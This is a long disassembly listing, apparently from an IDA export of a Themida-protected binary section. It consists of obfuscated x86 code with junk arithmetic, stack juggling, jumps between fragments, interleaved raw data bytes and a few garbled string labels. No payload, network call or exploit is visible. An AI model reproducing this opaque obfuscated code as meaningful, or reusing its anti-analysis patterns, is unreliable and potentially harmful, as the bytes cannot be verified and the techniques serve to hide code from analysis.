		push	eax
		not	dword ptr [esp]
		pop	eax
		push	46C9h
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_5535D2
; ---------------------------------------------------------------------------
		dw 0F589h
		dd 5E2434FFh, 4C481h, 44810000h, 2FB90424h, 6C01394Eh
		dd 8AE90424h, 8900000Dh, 0CD815FFDh, 5CA81CC3h,	15DFED81h
		dd 0CD813548h, 4A822D2Ch, 30D268h, 241C8900h, 35FFE9h
		dd 24048900h, 5D8BA52h,	2CB842BCh, 1BD43FAh, 0FC52E9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55428A:				; CODE XREF: Themida_:0054FF77j
		sub	ebp, 208B16B7h
		sub	ebp, 0D5C77D3h
		sub	ebp, edx
		add	ebp, 0D5C77D3h
		push	ecx
		jmp	loc_551C3B
; ---------------------------------------------------------------------------
		dd 0D86AE958h, 8C68FFFFh, 0E9000010h, 0FFFF957Bh, 51D830ACh
		dd 34D4E9h, 0CE305800h,	66F02859h, 53665A5Ah, 0D830C1B3h
		dd 241C8B66h, 0E9E08950h, 0FFFF8BD7h, 0B90BD55h, 0CD811E78h
		dd 316A5F28h, 95F58145h, 0E9678C4Ah, 0ECEh, 0E8C1D8F7h
		dd 29B3505h, 0D8F74033h, 1EA31A2Dh, 0E388E9A1h,	8B66FFFFh
		dd 68512404h, 54B6h, 68243C89h,	477Fh, 912E9h
		db 0
; ---------------------------------------------------------------------------

loc_55431D:				; CODE XREF: Themida_:005507ADj
		mov	edx, esp
		add	edx, 4
		jmp	loc_552114
; ---------------------------------------------------------------------------
		dw 0E956h
		dd 0FFFFCC98h, 0C3C2805Ah, 0E91FE280h, 0FFFFEAD0h
; ---------------------------------------------------------------------------

loc_55433C:				; CODE XREF: Themida_:005530EEj
		mov	eax, 4B917187h
		push	0
		sub	dword ptr [esp], 2B49651Ah
		sub	[esp], eax
		jmp	loc_54ED8E
; ---------------------------------------------------------------------------
		db 0D3h, 2Ch, 24h
		dd 7E96E99Ch, 0E189FFFFh, 35B95157h, 81081426h,	0CF762CF1h
		dd 55D1F759h, 3FD0E9h
		db 0
; ---------------------------------------------------------------------------

loc_554375:				; CODE XREF: Themida_:00552F4Aj
		sub	eax, 0F6D1A1B2h
		and	esi, eax
		jmp	loc_54FCE2
; ---------------------------------------------------------------------------

loc_554381:				; CODE XREF: Themida_:0054E93Ej
		pop	eax
		jmp	loc_552075
; ---------------------------------------------------------------------------

loc_554387:				; CODE XREF: Themida_:0054CB8Fj
		add	edx, ebp
		mov	ebp, [esp]
		push	ecx
		push	esp
		jmp	loc_55670A
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4, 1946E952h, 71BD0000h, 81612960h, 0E27D66F5h, 0E9EA317Eh
		dd 7Bh
; ---------------------------------------------------------------------------

loc_5543B0:				; CODE XREF: Themida_:00555940j
		shl	eax, 1
		jmp	loc_555BEF
; ---------------------------------------------------------------------------
		db 59h
		dd 898C181h, 0F1017C4Ah, 898E981h, 565E7C4Ah, 4BEh, 91E7E900h
		dd 348BFFFFh, 2FC2E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5543DA:				; CODE XREF: Themida_:005505F6j
		xor	eax, edi
		jmp	loc_552C3D
; ---------------------------------------------------------------------------
		db 33h,	3Ch, 24h
		dd 0FFCB49E9h, 154768FFh, 34890000h, 31D0E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5543F6:				; CODE XREF: Themida_:00554A87j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	edi
		mov	edi, 7CA607CDh
		mov	ecx, edi
		pop	edi
		add	ecx, 835A0833h
		jmp	loc_54CE81
; ---------------------------------------------------------------------------
		dd 0C4FE70B4h, 80F1EC80h, 0E9B2EBh, 5D000026h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5531F7
; ---------------------------------------------------------------------------

loc_55443A:				; CODE XREF: Themida_:0054EA9Dj
		mov	esi, 4
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		push	ebp
		mov	ebp, 74864F4Bh
		jmp	loc_55526C
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 98h
		dd 89E3151Fh, 0F9015AD7h, 2845E9h, 0E3C78100h, 0E965AF0Ah
		dd 0FFFFDD45h
; ---------------------------------------------------------------------------

loc_554474:				; CODE XREF: Themida_:005505EBj
		add	eax, 74B77A62h
		jmp	loc_5505F0
; ---------------------------------------------------------------------------

loc_55447E:				; CODE XREF: Themida_:0054CCF2j
		pop	eax
		push	edx
		mov	edx, 3522610Ah
		sub	edx, 256D245Fh
		mov	edi, edx
		jmp	loc_551796
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24048B24h, 6804C483h, 28EFh,	89240C89h, 4C181E1h, 55000000h
		dd 8543E956h, 0C481FFFFh, 4, 0FAD9E956h, 0C381FFFFh, 4
		dd 5C241C87h, 33241431h, 14312414h, 7D1EE924h, 0E180FFFFh
		dd 0FC49E918h, 0BA52FFFFh, 102F1F5Fh, 404BE9h, 24048700h
		dd 242C895Ch, 24B368h, 24148900h, 2BAh,	295E900h, 0EC830000h
		dd 0FBC0E904h, 248BFFFFh, 241C8924h, 0E951C788h, 1704h
		dd 22240481h, 58741E3Bh, 1E3B222Dh, 0BF575B74h,	72933A62h
		dd 15FF829h, 0ADFBE9C7h, 0C281FFFFh, 42A80B9Ah,	0EA81F201h
		dd 42A80B9Ah, 3FA5EA81h, 85E96F94h, 81FFFFB3h, 4C2h, 2BE5600h
		dd 1000000h, 2434FFF2h,	8124348Bh, 4C4h, 0E0895000h, 405h
		dd 40500h, 0D7E90000h, 0ADFFFFF6h, 8B76E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554582:				; CODE XREF: Themida_:0054F705j
		xor	eax, 5D0C09Ch
		add	ebp, eax
		pop	eax
		jmp	loc_54DBEC
; ---------------------------------------------------------------------------
		db 59h
		dd 0FFD04FE9h, 0C7F0BFFFh, 0C5819DEAh, 2DD31FD3h, 0ED81FD29h
		dd 2DD31FD3h, 83243C8Bh, 0F58104C4h, 11BFF91Bh,	0FF9CC4E9h
		dd 2EBC1FFh, 8102E3C1h,	2210FCC3h, 0F018E902h, 159FFFFh
		dd 45EE81CEh, 8123572Eh, 716F62EEh, 0C683590Ah,	24343302h
		dd 33243431h, 665C2434h, 5024048Bh, 0EC815854h,	4, 0E9241C89h
		dd 0FFFF9D43h, 10B4BA52h, 0D60101EFh, 4E9525Ah,	68FFFF82h
		dd 634Ah, 0B9240C89h, 2005043Eh, 8959CD01h, 2385E9E8h
		dd 685D0000h, 798Bh, 0BD242C89h, 183D7650h, 0BB53h, 0EB290000h
		dd 0E95BDD89h, 0FFFFA766h, 0FAB2525Bh, 0FFFAE8E9h, 4BDFFh
		dd 68E90000h, 80FFFF82h, 0C680CFE6h, 5AF0285Dh,	0E004D800h
		dd 0B7B75366h, 5B66F800h, 8904EC83h, 79B3241Ch,	0EBC0D3F6h
		dd 80C3FE07h, 97E95EEBh
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55467F:				; CODE XREF: Themida_:00551D34j
		mov	[esp], edx
		mov	edx, 24h
		jmp	loc_54FAFD
; ---------------------------------------------------------------------------
		dd 38EF68h, 240C8900h, 888D988h, 1C8B5859h, 4C48124h, 5A000000h
		dd 0FF7B4BE9h, 28E8B1FFh, 285966CAh, 98E95AD0h,	1FFFFB5h
		dd 86A2E9D8h, 665CFFFFh, 2AE9E1F7h
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5546C7:				; CODE XREF: Themida_:0054F55Fj
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_54D0E8
; ---------------------------------------------------------------------------

loc_5546D0:				; CODE XREF: Themida_:00550C69j
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_55134D
; ---------------------------------------------------------------------------
		dd 148BD000h, 0E2895224h, 4C281h, 0C2810000h, 4, 5C241487h
		dd 0B0EB80h, 0B0C380C3h, 80C32858h, 0EC83F8EBh,	0E591E904h
		dd 1487FFFFh, 0A095E924h, 6851FFFFh, 131241AFh,	8BC82959h
		dd 0B7E9240Ch
		db 9Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554723:				; CODE XREF: Themida_:005517B4j
		add	esp, 4
		sub	[esp+4], edi
		pop	edi
		pop	dword ptr [edi+24h]

loc_554731:				; CODE XREF: Themida_:loc_54D365j
		push	ebx
		push	2909h
		mov	[esp], ebx
		jmp	loc_554E5A
; ---------------------------------------------------------------------------
		db 89h
		dd 78682404h, 8900004Dh, 1BE92424h, 81FFFFCBh, 4C4h, 0E9F83100h
		dd 0FFFFB22Bh, 9502E8C1h, 0C4E9DDF7h, 5FFFFE6h,	4, 0FF8CD4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_554771:				; CODE XREF: Themida_:0055145Bj
		add	edx, 4
		jmp	loc_55690E
; ---------------------------------------------------------------------------
		dd 8101EF83h, 957A41C7h, 2E7C114h, 8105E7C1h, 2CF484C7h
		dd 0F7E9559Fh, 89FFFF9Ch, 0EFB7E9D5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55479E:				; CODE XREF: Themida_:0055299Cj
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_55345C
; ---------------------------------------------------------------------------

loc_5547AC:				; CODE XREF: Themida_:0055309Bj
		sub	ecx, 2
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_54C807
; ---------------------------------------------------------------------------

loc_5547C0:				; CODE XREF: Themida_:005506F5j
		mov	edx, 0DA54AF7h
		jmp	loc_550B09
; ---------------------------------------------------------------------------
		dw 535Bh
		dd 1F10C3BBh, 0F68DE959h, 8359FFFFh, 148702C2h,	0F665C24h
		dd 9C2404ABh, 0FFC215E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5547E9:				; CODE XREF: Themida_:0054EC05j
		mov	[esp], ecx
		push	eax
		mov	ah, 15h
		push	ebx
		mov	bh, ah
		mov	ch, bh
		pop	ebx
		jmp	loc_557B4A
; ---------------------------------------------------------------------------

loc_5547FA:				; CODE XREF: Themida_:005565E4j
		pop	esp
		xor	ecx, eax
		mov	eax, [esp]
		push	esi
		jmp	loc_5522C9
; ---------------------------------------------------------------------------
		dw 0C383h
		dd 241C8704h, 8613E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554812:				; CODE XREF: Themida_:00551F8Fj
		push	esi
		mov	esi, 1
		add	eax, esi
		jmp	loc_556E22
; ---------------------------------------------------------------------------
		db 0B0h
		dd 13E5E9EAh, 0ED810000h, 4B714683h, 93E9D501h
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554833:				; CODE XREF: Themida_:005574DCj
		sub	[esp+4], esi
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5575A5
; ---------------------------------------------------------------------------

loc_554848:				; CODE XREF: Themida_:00553C9Ej
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_54F875
; ---------------------------------------------------------------------------
		dd 8B240487h, 0B60F2424h, 926866C0h, 4896619h, 7986E924h
		dd 875CFFFFh, 1DE9240Ch, 0BAFFFFC8h, 411D5246h,	15AD329h
		dd 48BE56D3h, 466F1B12h, 1825E946h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55488E:				; CODE XREF: Themida_:00554BC8j
		add	bl, 0A0h
		add	bl, dl
		sub	bl, 0A0h
		pop	dx
		add	bl, dl
		push	ecx
		jmp	loc_54FF07
; ---------------------------------------------------------------------------
		dd 24148B51h, 81E38953h, 4C3h, 4C38300h, 5C241C87h, 81240C8Bh
		dd 4C4h, 7932E900h, 815BFFFFh, 4C25DCEBh, 2434FF01h
		db 5Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54C328
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 0FFh
		dd 146F25Bh, 83585FFBh,	1C3302C3h, 241C3124h, 5C241C33h
		dd 9C2424D3h, 0FF78FFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5548F5:				; CODE XREF: Themida_:0054D9D2j
		pop	dword ptr [esp]
		pop	esp
		shr	eax, 0Ah
		xor	eax, ecx
		xchg	eax, edx
		push	1A46h
		mov	[esp], edx
		jmp	loc_55834F
; ---------------------------------------------------------------------------
		dd 4EC81h, 0C890000h, 3EEFB924h, 84E9556Bh, 0E9FFFF92h
		dd 0FFFF78D0h, 1F7F742Dh, 0E9F00167h, 0FFFF8AF1h
; ---------------------------------------------------------------------------

loc_554930:				; CODE XREF: Themida_:0054CD17j
		push	edi
		mov	edi, 79E92D32h
		xchg	eax, edi
		dec	eax
		xchg	eax, edi
		shr	edi, 4
		xor	edi, 175871ABh
		dec	edi
		push	edi
		not	dword ptr [esp]
		pop	edi
		jmp	loc_555CB2
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 4C481h, 0BE560000h, 0DDD6CC5h, 933FC681h, 0F201F222h
		dd 2C2815Eh, 68000000h,	1E23h, 0E9241489h, 0FFFF9956h
		dd 587330B9h, 59CB2130h, 8104E3C1h, 0D7402CE3h,	0B97DE971h
		dd 0FA31FFFFh, 83243C8Bh, 0D03104C4h, 8B2434FFh, 0C4812414h
		dd 4, 3104C483h, 0B60F66C3h, 0E686600h,	4896620h, 783AE924h
		dd 0E980FFFFh, 0EBE95BBCh, 66000026h, 0E9240C8Bh, 0FFFFA8C0h
		dd 0A73CC181h, 0CA01C9EDh, 0FFFDFDE9h, 0E9E800FFh, 0BD9h
		dd 42474FFh, 0FFC2EBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5549E9:				; CODE XREF: Themida_:0054E83Fj
		sub	edx, 0E0FB1394h
		push	edi
		mov	edi, 6EB63AC1h
		xor	edi, 78FB09E3h
		xchg	edx, edi
		not	edx
		xchg	edx, edi
		xor	edi, 0CF2A631Dh
		sub	edx, edi
		mov	edi, [esp]
		add	esp, 4
		mov	ecx, edx
		pop	edx
		add	esi, ecx
		pop	ecx
		xor	esi, 1282810Eh
		add	esi, 5024517Dh
		sub	esi, edx
		sub	esi, 5024517Dh
		pop	edx
		and	eax, esi
		pop	esi
		jmp	loc_553548
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 0E6895624h, 4C681h, 0D2E90000h, 81000022h, 97F7AEFh
		dd 0D8DEE957h, 0F330FFFFh, 3042B65Ah, 241C8BDEh, 4C481h
		dd 71040000h, 0EC81F000h, 2, 0FF87CFE9h, 20685AFFh, 0E9000038h
		dd 15F6h
; ---------------------------------------------------------------------------

loc_554A7C:				; CODE XREF: Themida_:0054EE25j
		push	15E5h
		mov	[esp], esi
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_5543F6
; ---------------------------------------------------------------------------

loc_554A8C:				; CODE XREF: Themida_:00550478j
		xchg	ebp, [esp]
		jmp	loc_553D46
; ---------------------------------------------------------------------------

loc_554A94:				; CODE XREF: Themida_:00552B69j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	2E49h
		mov	[esp], ebp
		mov	ebp, 238F0EADh
		push	edi
		mov	edi, 0E8537A1h
		push	eax
		mov	eax, 12B1188Ah
		jmp	loc_5514C6
; ---------------------------------------------------------------------------
		dd 2AE76866h, 0FF8232E9h, 505548FFh, 0C865D2B8h, 0DC27BD44h
		dd 0C501E396h, 4EDC158h, 3810E9h, 0C8B6600h, 18F6824h
		dd 34890000h, 27B46824h, 8F540000h, 53562404h, 0C538DBBh
		dd 5391BE2Bh, 0DE292B0Ch, 2474015Bh, 0A0E95E04h, 89FFFFF1h
		dd 4BE2434h, 89000000h,	0EB015EF5h, 81242C8Bh, 4C4h, 2C38300h
		dd 8B241C87h, 0FF662424h, 0E99C2404h, 0FFFF8695h, 0D1BDE954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554B3A:				; CODE XREF: Themida_:005508A5j
		sub	dword ptr [esp+4], 702E17B3h
		jmp	loc_555C37
; ---------------------------------------------------------------------------
		db 81h
		dd 867A57C6h, 81DE0161h, 867A57EEh, 2434FF61h, 83241C8Bh
		dd 4B6804C4h, 8900002Eh, 0E389241Ch, 4C381h, 0C3810000h
		dd 4, 8B241C87h, 12E92424h, 81000015h, 4ECh, 0F1F4E900h
		dd 3C87FFFFh, 0CB35E924h, 3C89FFFFh, 49576824h,	34FF0C15h
		dd 0D501E924h, 3C87FFFFh, 0C764E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554BAA:				; CODE XREF: Themida_:00553F02j
		push	edx
		mov	edx, 49511D26h
		push	esi
		mov	esi, 140F5392h
		or	edx, esi
		pop	esi
		neg	edx
		xor	edx, 0EC5BD7C5h
		jmp	loc_5500A2
; ---------------------------------------------------------------------------

loc_554BC6:				; CODE XREF: Themida_:0055852Fj
		mov	dl, 0EEh
		jmp	loc_55488E
; ---------------------------------------------------------------------------

loc_554BCD:				; CODE XREF: Themida_:00552322j
		inc	eax
		jmp	loc_54CCEB
; ---------------------------------------------------------------------------
		db 53h
		dd 839B1BBh, 81DBF750h,	6D5B62C3h, 0F088E954h, 0ED80FFFFh
		dd 8BEE301Eh, 0C483240Ch, 5AF03004h, 0FF8C46E9h, 5FF801FFh
		dd 84E9535Eh
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554C03:				; CODE XREF: Themida_:00553BAAj
		add	ch, 6Bh
		dec	ch
		sub	ch, 95h
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_552A7E
; ---------------------------------------------------------------------------
		dw 0F801h
		dd 6A744A05h, 0E7B8E900h, 159FFFFh, 1E202DF0h, 97E97E20h
		dd 89000030h, 4812424h,	424h, 0ACEE900h, 0C5300000h, 0F5805866h
		dd 59E8002Eh, 2858C600h, 0E8D05AF0h, 0FF90FAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_554C55:				; CODE XREF: Themida_:00550A8Dj
		xchg	edx, [esp]
		pop	ebp
		xor	ebp, 73E768E5h
		sub	ebp, 0A4D2DA94h
		sub	eax, 5B302BFEh
		add	eax, ebp
		add	eax, 5B302BFEh
		pop	ebp
		sub	esp, 4
		mov	[esp], ebp
		push	800000h
		mov	ebp, [esp]
		push	eax
		jmp	loc_54F2DD
; ---------------------------------------------------------------------------
aPts		db 'PTé&*',0
		dd 48B6600h, 0EC815224h, 4, 24048F54h, 0FFE850E9h, 68E689FFh
		dd 5E9Bh, 0E9243C89h, 0FFFFEF5Fh, 2C8BE831h, 4C48124h
		dd 81000000h, 865F51C3h, 68C3012Ch, 7D50h, 68240C89h, 2C865F51h
		dd 92E95259h
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_554CD7:				; CODE XREF: Themida_:00554EDEj
		push	47D7h
		mov	[esp], ebx
		push	esi
		jmp	loc_55362A
; ---------------------------------------------------------------------------
		db 5Ah,	55h, 0BDh
		dd 0E703854h, 0CEE9D5F7h, 53FFFFB0h, 0FF79B1E9h, 4EC83FFh
		dd 68240489h, 78906022h, 61402558h, 4357FD1h, 29789060h
		dd 0D5DDE9C1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554D16:				; CODE XREF: Themida_:0055298Fj
		mov	ax, [esp]
		push	edi
		push	1F5Fh
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	edi, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 2
		jmp	loc_54D3E6
; ---------------------------------------------------------------------------
		db 5Dh
		dd 4C581h, 0BA520000h, 2, 0B20C581h, 0C7E921CEh
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554D5F:				; CODE XREF: Themida_:005563CDj
		pop	ecx
		and	eax, ebp
		jmp	loc_5554F1
; ---------------------------------------------------------------------------
		db 0F6h
		dd 9CF380DBh, 8B66D930h, 0C481241Ch, 2,	52EBF180h, 0D2F68FB2h
		dd 28C9B753h, 7662E9FAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554D8A:				; CODE XREF: Themida_:00550F1Dj
		pop	edx
		and	cl, ah
		jmp	loc_552106
; ---------------------------------------------------------------------------

loc_554D92:				; CODE XREF: Themida_:00556ACBj
		shl	ecx, 4
		push	edx
		mov	edx, 94FB7F15h
		xor	ecx, edx
		pop	edx
		add	eax, ecx
		pop	ecx
		push	616Dh
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_54C7AC
; ---------------------------------------------------------------------------
		dw 0D468h
		dd 5B22307Dh, 11E9DA01h, 68FFFFB9h, 0D51h, 68241489h, 255E082Ch
		dd 8324148Bh, 0EAC104C4h, 0FFEA8307h, 8107EAC1h, 0FF6A8CC2h
		dd 2E49E9FFh, 0F3880000h, 8BD8305Ah, 0C483241Ch, 360E904h
		dd 0BF570000h, 1CE52FF4h, 27FCF781h, 0FE895191h, 0FF8AD0E9h
		dd 2BF57FFh, 29000000h,	0E95FF9h, 81FFFFEDh, 0DE19F7EAh
		dd 40EA813Fh, 0E95FA71Dh, 0FFFF73C8h
; ---------------------------------------------------------------------------

loc_554E2C:				; CODE XREF: Themida_:0054C80Aj
		mov	[esp], ax
		jmp	loc_54C1F4
; ---------------------------------------------------------------------------
		db 88h,	0FDh, 8Bh
		dd 0E953241Ch, 0FFFFC25Fh
; ---------------------------------------------------------------------------

loc_554E40:				; CODE XREF: Themida_:00552FCCj
		push	edi
		jmp	loc_54DE80
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 73F02D04h, 0F8296AC5h, 0C573F005h, 0CF12E96Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554E5A:				; CODE XREF: Themida_:0055473Aj
		mov	ebx, 74864F4Bh
		xor	[esp+4], ebx
		pop	ebx
		mov	eax, [esp]
		push	eax
		jmp	loc_554FCD
; ---------------------------------------------------------------------------
		db 2Dh,	48h, 20h
		dd 0D8010AA7h, 0A7204805h, 0F894E90Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554E7E:				; CODE XREF: Themida_:00551F4Bj
		mov	esi, 4
		add	ecx, 6FB21DEEh
		add	ecx, esi
		jmp	loc_55099B
; ---------------------------------------------------------------------------
		dd 5A59C801h, 972A762Dh, 5F0295Ah, 5A972A76h, 6459BD55h
		dd 0E8293FC4h, 51525E5Dh, 8A6836B9h, 87E98133h,	492FFD1Dh
		dd 81D9F741h, 0D70AF6F1h, 6DC18160h, 89AFC0B6h,	0BF5759CAh
		dd 0
aRs_0		db ')×Ré´%',0
		align 4

loc_554ED8:				; CODE XREF: Themida_:005512E3j
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_554CD7
; ---------------------------------------------------------------------------
		db 81h
		dd 0CF25E2C7h, 242C8B27h, 4C481h, 0FF570000h, 8B042474h
		dd 2AE9243Ch
		db 8Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554EFF:				; CODE XREF: Themida_:0054DB1Ej
		add	ecx, edi
		pop	edi
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_54F87D
; ---------------------------------------------------------------------------
		db 83h
		dd 148704C2h, 0DE95E924h, 7D68FFFFh, 8900000Eh,	74FF2404h
		dd 8F580424h, 248B2404h, 9C42E924h, 295DFFFFh, 4875EF0h
		dd 24248B24h, 0A83FE954h, 8B66FFFFh, 0EC832404h, 24148904h
		dd 0FF9C8AE9h, 4E9C1FFh, 0E981D9F7h, 0D6000C67h, 8159CA31h
		dd 3BE7DFEAh, 5AD08931h, 0BA58C789h, 0D355B6Ch,	2D48EA81h
		dd 58E952C8h, 0AD000004h, 6C0E9h
		db 0
; ---------------------------------------------------------------------------

loc_554F85:				; CODE XREF: Themida_:0054F077j
		mov	[esp], edi
		mov	edi, 4C4C0C34h
		or	edi, 3D2D3B6Ch
		jmp	loc_55605E
; ---------------------------------------------------------------------------

loc_554F98:				; CODE XREF: Themida_:00558340j
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_54DBBF
; ---------------------------------------------------------------------------

loc_554FAC:				; CODE XREF: Themida_:0055213Dj
		add	esp, 4
		add	edi, ebx
		pop	ebx
		and	ecx, edi
		pop	edi
		shr	ecx, 0
		or	eax, eax
		jz	loc_55714F
		push	317Dh
		jmp	loc_54EA1A
; ---------------------------------------------------------------------------

loc_554FCD:				; CODE XREF: Themida_:00554E68j
		mov	eax, esp
		jmp	loc_553E55
; ---------------------------------------------------------------------------

loc_554FD4:				; CODE XREF: Themida_:00550514j
		pop	ebx
		sub	al, dh
		pop	edx
		jmp	loc_550EE4
; ---------------------------------------------------------------------------
		db 81h,	6Ch, 24h
		dd 4E2FB904h, 242C8B39h, 4C481h, 57580000h, 0FFC25FE9h
		dd 0AF0F66FFh, 9C5166C8h, 0FF71F3E9h, 0C8B66FFh, 4EC8124h
		dd 89000000h, 8EE9242Ch, 0FFFFFFEFh, 2C8B2434h,	4C48324h
		dd 81E78957h, 4C7h, 4C78100h, 87000000h, 35E9243Ch, 1FFFF82h
		dd 74685FF9h, 0E900003Dh, 0FFFFDDBEh, 81E78957h, 4C7h
		dd 4C78100h, 87000000h,	17E9243Ch
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555057:				; CODE XREF: Themida_:0055240Cj
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]

loc_55505E:				; CODE XREF: Themida_:00550429j
		push	ebx
		push	esp
		pop	ebx
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		push	ebp
		mov	ebp, 5DBB45F3h
		neg	ebp
		neg	ebp
		jmp	loc_5583C9
; ---------------------------------------------------------------------------

loc_555079:				; CODE XREF: Themida_:005507B5j
		push	dword ptr [esp]
		jmp	loc_55833B
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 83h
		dd 348904ECh, 4BE24h, 0F3010000h, 0FF80FCE9h, 89CD29FFh
		dd 56505DE9h, 0A07E3BBEh, 0E9F08963h, 1C17h, 0FAE4E95Ch
		dd 0C629FFFFh, 0FFA969E9h, 240C87FFh, 0FDFE9h
		db 0
; ---------------------------------------------------------------------------

loc_5550BD:				; CODE XREF: Themida_:00550A3Fj
		push	ecx
		mov	cl, dh
		jmp	loc_5504F7
; ---------------------------------------------------------------------------
		db 1, 0C8h, 0E9h
		dd 0FFFFFB56h, 0F66F9F6h, 6866CCB6h, 89660B89h,	24E9240Ch
		dd 0B8FFFF9Fh, 4, 1866E9h, 83B65200h, 0FFF562E9h, 116866FFh
		dd 0A930E94Bh, 0A9BEFFFFh, 213FFD5Bh, 24348BF3h, 4C481h
		dd 0EB810000h, 6B570420h, 1183E9h
		db 0
; ---------------------------------------------------------------------------

loc_555115:				; CODE XREF: Themida_:0054F0B8j
		add	esp, 4
		push	396Bh
		mov	[esp], edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		xchg	esi, [esp]
		pop	esp
		jmp	loc_555355
; ---------------------------------------------------------------------------
		dd 163DF781h, 57474A29h, 1F33E9h
		db 0
; ---------------------------------------------------------------------------

loc_555141:				; CODE XREF: Themida_:0054D00Bj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		and	eax, ecx
		push	dword ptr [esp]
		jmp	loc_5511E5
; ---------------------------------------------------------------------------
aP8aiAiaaC	db 'P°8€ë%€ë €Ãæ',0
		db 0C3h
		dd 0FFAD34E9h, 4C483FFh, 0FF9D4CE9h, 0B4CF81FFh, 0F742BF17h
		dd 48C781DFh, 1920054h,	0BEACE9FBh, 814EFFFFh, 4E0FF8CEh
		dd 0B0F6812Eh, 1ED07F2h, 78A2E9F2h, 5C01FFFFh, 0D1E90424h
		dd 55FFFFB3h, 803341BDh, 81DDF749h, 1768EC5h, 5DE829B5h
		dd 71CDE953h, 0DDF7FFFFh, 0EAD2ED81h, 0E5E9A709h, 5DFFFF9Fh
		dd 4C581h, 0E9570000h, 0FFFFA42Fh, 4C48359h, 0FFEB8DE9h
		dd 243C8BFFh, 0E904C483h, 0FFFF7008h, 4A44C981h, 0E1C13A6Bh
		dd 0C2F18103h, 899F8243h, 0C7E959C8h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555203:				; CODE XREF: Themida_:00552962j
		pop	esi
		add	esp, 4

loc_55520A:				; CODE XREF: Themida_:00555EA8j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 4
		jmp	loc_552E58
; ---------------------------------------------------------------------------

loc_555223:				; CODE XREF: Themida_:0054F2E4j
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_555575
; ---------------------------------------------------------------------------
		dw 0E828h
		dd 0E92434FFh, 0FFFFA4ACh
; ---------------------------------------------------------------------------

loc_555238:				; CODE XREF: Themida_:00554075j
		add	bl, dl
		jmp	loc_550C14
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0A90BE902h, 0C181FFFFh, 2CFD681Fh, 0C8BC829h, 4C48324h
		db 8Bh,	3Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5512E8
; ---------------------------------------------------------------------------

loc_55526C:				; CODE XREF: Themida_:00554454j
		xor	eax, ebp
